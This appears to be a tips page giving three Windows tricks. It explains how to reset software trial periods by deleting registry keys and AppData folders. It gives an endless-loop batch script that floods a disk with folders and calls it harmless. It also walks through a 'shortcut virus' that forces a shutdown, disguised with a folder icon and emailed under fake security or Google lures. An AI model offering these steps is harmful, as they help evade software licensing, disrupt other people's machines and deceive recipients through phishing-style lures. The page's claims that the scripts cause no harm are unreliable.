How to reset the trial period of software to work it lifetime?

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 First uninstall the software and follow the steps.

*. After uninstalling software, OpenRUN (Windows key + R) and type regedit and hit Enter.

*. Now Registry Editor Window will appear and here navigate to 
HKEY_LOCAL_MA CHINE \ SOFTWARE \ Your Software name from left pane of this window. If
you find any Key name with your software name then just Delete that Key.
 
*. Similarly navigate to HKEY_CURRENT_USER \ Software \ Your Software name and if
you find any key with your software name then just Delete it and close the Registry Editor window.
 
*. Again go to RUN and type %temp% and hit Enter.
 
*. Now Delete all the things in that folder. Don’t worry these are the temporary files and not necessary for your operating system.
 
*. Now go to C:\Users \your username here \AppData.Un der AppData open all three
folders"Local","Local Low" and "Roaming”and check. Under these three folders if you find
any folder or anything with your Software's name, just delete it. 

*. Now Restart your PC and install the expired software and you can use it again for trial period."

How To Make more than thousands of folder Using notepad

Make thousands of folder with notepad.

1. Open notepad.
2. Copy the following code:

@echo off
:top
md %random%
goto top

3. save it as fun.bat

If you will open that file that folder will be rained by more than thousand of folders.

It will not cause any harm to your computer.

How To Create Shortcut Virus : 

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Try the following few steps to create a ShortCut Virus. Get it attached to your mail as entitled “Urgent Security Download” or something like this.
Step 1 : Right Click your Desktop.
Step 2 : Select Properties >> ShortCut.
Step 3 : In the Dialogue Box that appears. Type ShutDown –s –t 120 – c “Virus Activated” . Hit "Next".
Step 4 : Type Security in the dialogue Box that appears.
Step 5 : After you Click the Finish Button, you will see a DOS file in your desktop. Since this looks a little ugly, we shall change its appearance so that the receivers will click on it.
Step 6 : Right click the shortcut file just created. Click Properties >> Shortcut >> Change icon. & now Hit "OK".
Step 7 : Choose any of the Icons from the available list.
To make your shortcut virus more assertive on our receivers, we will here choose the folder icon. And then click Apply Button. You will see that the icon of our file is now changed to the folder icon.
Now you are done. Attached this file in your email and send it to your friend lists. Now since it gives the notification “You received an email from a Google Team it is highly probable that you friends will click on the attached file.
This file isn’t harmful at all. It simply shuts down your PC in 120 seconds i.e 2 min as done.